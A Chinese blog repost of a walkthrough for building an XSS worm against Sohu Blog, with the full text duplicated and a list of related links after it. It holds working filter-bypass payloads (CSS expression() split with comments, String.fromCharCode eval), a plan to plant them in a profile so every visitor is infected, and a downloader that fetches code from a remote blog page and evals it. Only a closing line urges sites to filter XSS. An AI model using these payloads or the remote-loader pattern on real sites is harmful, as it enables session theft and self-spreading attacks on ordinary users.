XSS 跨站脚本攻击
2008-12-19 23:42
197 查看
Case I: 完整的XSS worm入侵实现流程
<img dynsrc="alert('xss')">
Step 1: 先测试’’;:!--"<javascript JAvaSCriPT>={()} // 等字符。结果 过滤了"javascript","&"和"/"这两 个转义字符串,因此HTML转码和CSS样式转码已无效,只好从属性和事件入手.
Step 2: 测试常用属性expression和两个事件onerror/onload。结果没有过滤字符哦
Step 3: 用expression/onerror/onload构造完整语句。结果被过滤。
Step 4: 由于“/”未被过滤,因此可借助<di style="xss:ex/**/pre/**/ssion(alert(’xss’))">
Step 5: 由于expression属性比较特殊相当于一个死循环的EVAL函数,同时style标记里不能出现";"字符,也就是不能构造多条连接在一起的javascript,因此构造出如下语句:
<DIV STYLE="xss:ex/**/pre/**/ssion(eval(xss));" xss="var Then=new Date();Then.setTime(Then.getTime()+10*1000);if(document.cookie.indexOf(’Cookie1=’) == -1){document.cookie=’Cookie1=RAY;expires=’+Then.toGMTString();alert(’xss’);}">
//设置一个COOKIE在10秒后失效,并在这条COOKIE语句中执行其他语句或函数.
Step 6: 遗憾的是SOHU BLOG对于标记内不合适的内容都会过滤,因此我们无法eval标记内的某个变量,于是采用fromCharCode方法,将Unicode字符值专成字符串再用eval函数执行:
<div style="xss:ex/**/pre/**/ssion(eval(String.fromCharCode(97,108,101,114,116,40,39,120,115,115,39,41)))">
Step 7: 感染流程考虑:
㈠.BLOG页面的个人档案处是页面通用的,
㈡.XSS内容写到个人档案处,所有浏览者都会触发XSS
㈢.实现一段提交XSS内容到个人档案的代码.
Step 8: 个人档案处只能输入2048个字符,又采用了fromCharCode方法,因此出现XSS代码长度的限制,因此只能调用远程代码,于是写出了个XSS downloader.
主要代码:
function d(){
a=new ActiveXObject(’Microsoft.XMLHTTP’); /*调用XMLHTTP控件
a.Open(’get’,’http://s0n9.blog.sohu.com/31406970.html’,false);/*发出一个GET提交请求
a.send();
b=a.responseText; /*将传回值赋给变量B
eval(unescape(b.substring(b.indexOf(’--|’)+3,b.indexOf(’|--’))));
/*用indexOf计算 --|********|-- 的位置,用substring方法取出字符串,最后用unescape方法解码.
}d()
http://s0n9.blog.sohu.com/31406970.html 页面代码:
alert%28%27xss%27%29%3B
/*利用escape将标点符号转码,由于responseText特性,某些字符会转换,如"&"字符会变成"&"(&后是amp,论坛过滤了)
PS:其他传染和详细的伪造提交的过程略去,各门户网站小心,过滤好XSS关键字,以防止XSS WROM爆发
traceback:http://www.hackbase.com/tech/2007-12-20/40022.html
<img dynsrc="alert('xss')">
Step 1: 先测试’’;:!--"<javascript JAvaSCriPT>={()} // 等字符。结果 过滤了"javascript","&"和"/"这两 个转义字符串,因此HTML转码和CSS样式转码已无效,只好从属性和事件入手.
Step 2: 测试常用属性expression和两个事件onerror/onload。结果没有过滤字符哦
Step 3: 用expression/onerror/onload构造完整语句。结果被过滤。
Step 4: 由于“/”未被过滤,因此可借助<di style="xss:ex/**/pre/**/ssion(alert(’xss’))">
Step 5: 由于expression属性比较特殊相当于一个死循环的EVAL函数,同时style标记里不能出现";"字符,也就是不能构造多条连接在一起的javascript,因此构造出如下语句:
<DIV STYLE="xss:ex/**/pre/**/ssion(eval(xss));" xss="var Then=new Date();Then.setTime(Then.getTime()+10*1000);if(document.cookie.indexOf(’Cookie1=’) == -1){document.cookie=’Cookie1=RAY;expires=’+Then.toGMTString();alert(’xss’);}">
//设置一个COOKIE在10秒后失效,并在这条COOKIE语句中执行其他语句或函数.
Step 6: 遗憾的是SOHU BLOG对于标记内不合适的内容都会过滤,因此我们无法eval标记内的某个变量,于是采用fromCharCode方法,将Unicode字符值专成字符串再用eval函数执行:
<div style="xss:ex/**/pre/**/ssion(eval(String.fromCharCode(97,108,101,114,116,40,39,120,115,115,39,41)))">
Step 7: 感染流程考虑:
㈠.BLOG页面的个人档案处是页面通用的,
㈡.XSS内容写到个人档案处,所有浏览者都会触发XSS
㈢.实现一段提交XSS内容到个人档案的代码.
Step 8: 个人档案处只能输入2048个字符,又采用了fromCharCode方法,因此出现XSS代码长度的限制,因此只能调用远程代码,于是写出了个XSS downloader.
主要代码:
function d(){
a=new ActiveXObject(’Microsoft.XMLHTTP’); /*调用XMLHTTP控件
a.Open(’get’,’http://s0n9.blog.sohu.com/31406970.html’,false);/*发出一个GET提交请求
a.send();
b=a.responseText; /*将传回值赋给变量B
eval(unescape(b.substring(b.indexOf(’--|’)+3,b.indexOf(’|--’))));
/*用indexOf计算 --|********|-- 的位置,用substring方法取出字符串,最后用unescape方法解码.
}d()
http://s0n9.blog.sohu.com/31406970.html 页面代码:
alert%28%27xss%27%29%3B
/*利用escape将标点符号转码,由于responseText特性,某些字符会转换,如"&"字符会变成"&"(&后是amp,论坛过滤了)
PS:其他传染和详细的伪造提交的过程略去,各门户网站小心,过滤好XSS关键字,以防止XSS WROM爆发
traceback:http://www.hackbase.com/tech/2007-12-20/40022.html
相关文章推荐
- Web安全相关(一):跨站脚本攻击(XSS)
- 跨站脚本攻击(反射型xss)笔记(一)
- 针对$_SERVER[’PHP_SELF’]的跨站脚本攻击(XSS)
- Cross-Site Scripting(XSS): 跨站脚本攻击介绍
- xss(跨站脚本攻击)简单示例
- 关于XSS(跨站脚本攻击)和CSRF(跨站请求伪造)
- XSS 跨站脚本攻击实例1
- 跨站脚本攻击(XSS)的原理、防范和处理方法
- XSS(cross-site scripting,跨站脚本攻击)简单示例
- PHP - 防止 XSS(跨站脚本攻击)
- 跨站脚本攻击(XSS)——常见网站攻击手段原理与防御
- xss(跨站脚本攻击)教程
- XSS跨站脚本漏洞修复建议- 如何防御CSS CrossSiteScript 跨站脚本攻击
- XSS,跨站脚本攻击(Cross Site Scripting)
- 谈跨站脚本攻击与防御之XSS
- ASP.NET 下 XSS 跨站脚本攻击的过滤方法
- 关于XSS(跨站脚本攻击)和CSRF(跨站请求伪造)
- xss 跨站脚本攻击
- XSS 跨站脚本攻击实例1
- Web安全相关(一):跨站脚本攻击(XSS)